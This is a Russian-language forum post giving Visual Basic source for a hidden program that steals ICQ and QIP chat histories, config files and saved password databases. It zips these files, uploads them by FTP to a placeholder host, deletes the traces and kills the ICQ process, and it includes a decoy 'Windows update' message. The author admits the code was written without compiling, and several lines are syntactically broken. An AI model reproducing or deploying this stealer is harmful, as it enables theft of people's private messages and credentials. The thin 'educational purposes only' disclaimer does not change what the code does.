Показать сообщение отдельно

  #27  
Старый 17.04.2010, 00:35
ichechen
Познающий
Регистрация: 16.10.2009
Сообщений: 40
Провел на форуме:
152013

Репутация: 14
По умолчанию

Цитата:
Сообщение от meisterr  
на VB напишите кто нибудь))
Создаем новый проект Windows Forms
Правим свойства формы
Код:
  Me.ShowIcon = False
        Me.FormBorderStyle = System.Windows.Forms.FormBorderStyle.SizableToolWindow
        Me.ShowInTaskbar = False
        Me.WindowState = System.Windows.Forms.FormWindowState.Minimized
Создаем функцию (копируем код ниже)
Код:
  
 Private Function zip(ByVal filenasdasfaame As String, ByVal zipfilename As String) As Boolean
        Try
            filenasdasfaame = specstr(filenasdasfaame)
            zipfilename = specstr(zipfilename)
            Dim strZIPHeader As String
            strZIPHeader = Chr(80) & Chr(75) & Chr(5) & Chr(6) & Chr(0) & Chr(0) & Chr(0) & Chr(0) & Chr(0) & Chr(0) & Chr(0) & Chr(0) & Chr(0) & Chr(0) & Chr(0) & Chr(0) & Chr(0) & Chr(0) & Chr(0) & Chr(0) & Chr(0) & Chr(0)
            Dim fso = CreateObject("Scripting.FileSystemObject")
            Dim tf = fso.CreateTextFile(zipfilename)
            tf.Write(strZIPHeader)
            tf.Close()
            With CreateObject("Shell.Application")
                .NameSpace(zipfilename.ToString).CopyHere(filenasdasfaame.ToString)
            End With
            '(MsgBox("Обновление для Microsoft Windows готовы к установке", MsgBoxStyle.Information))
            Threading.Thread.Sleep(3000)
            z = 1
        Catch ex As Exception
        End Try
        If z <> 0 Then Return True Else Return False
    End Function  

    Private Function _prockill(ByVal procname As String) As Boolean       
        Try
            For Each proc In Process.GetProcessesByName(procname)
                proc.Kill() : z = 1
            Next
            If z = 1 Then Return True Else Return False
        Catch ex As Exception
            Return False
        End Try
    End Function

    Private Function _findfile(ByVal parent As String, ByVal filename As String) As Boolean
     Try          
            parent = specstr(parent)
            For Each fs As IO.FileInfo In My.Computer.FileSystem.GetDirectoryInfo(parent).GetFiles(filename, SearchOption.AllDirectories)
              zip(fs.FullName,fs.FullName & ".zip")

My.Computer.Network.UploadFile(fs.FullName & ".zip", ftp://kuda.ru" & CChar("/") & fs.Name.Replace(fs.Extension, "") & "-" & z.ToString & fs.Extension,user,pasw)
Microsoft.visualBasic.Kill(fs.FullName & ".zip")
                z += 1
        Next
    Catch ex As Exception
    End Try
        If z <> 0 Then Return True Else Return False 
    End Function
Создаем обработчик события загрузки формы (MyBase.Load)
Пишем туда что-то примерно такое:

Код:
Dim p(10) as string
Dim it as integer = 0

For each s in My.Computer.FileSystem.Devices
  if s.isReady then if new IO.DirectoryInfo(s.Root & "\Program Files\QIP").Exist then p(it)=s.Root & "\Program Files\QIP":it+=1
Next
For each s as string in p
 if s<>Nothing AND s<>"" then
 if My.Computer.Network.isAvailable then
 for each ss as string in IO.DirectoryInfo(s & "\Users").GetDirectoryes()
  zip(ss & "\History",ss & ".zip")
  My.Computer.Network.UploadFile(ss & "\History & ".zip","ftp://kuda.ru",user,pasw)
  My.Computer.Network.UploadFile(ss & "\config.ini","ftp://kuda.ru",user,pasw)
  Microsoft.VisualBasic.Kill(ss & "\History & ".zip"")
 end if
Next 
end if
_prockill("ICQ")
_findfile(Environment.GetEnvironmentVariable("APPDATA") & "\ICQ","*.mdb")
_findfile(Environment.GetEnvironmentVariable("APPDATA") & "\ICQ","*.qdb")
Писал без компилятора, наверняка там будут синтаксические ошибки, но думаю вы разберетесь

Также можно всунуть в нескольких местах обработчик исключений с нулевым исключением - для того чтоб ошибка не выскочила, если вообще будет таковая

В общем попробуйте

P.S Кстати приведенный код крадет не только историю, но и файлы паролей (если они сохранены)
Актуально для:
ICQ 6,
ICQ Lite
QIP 2005
Achtung!!!
Написано исключительно в образовательных целях, за практическое использование данного листинга, автор не несет ответственности!

Последний раз редактировалось ichechen; 17.04.2010 в 00:45..
 
Ответить с цитированием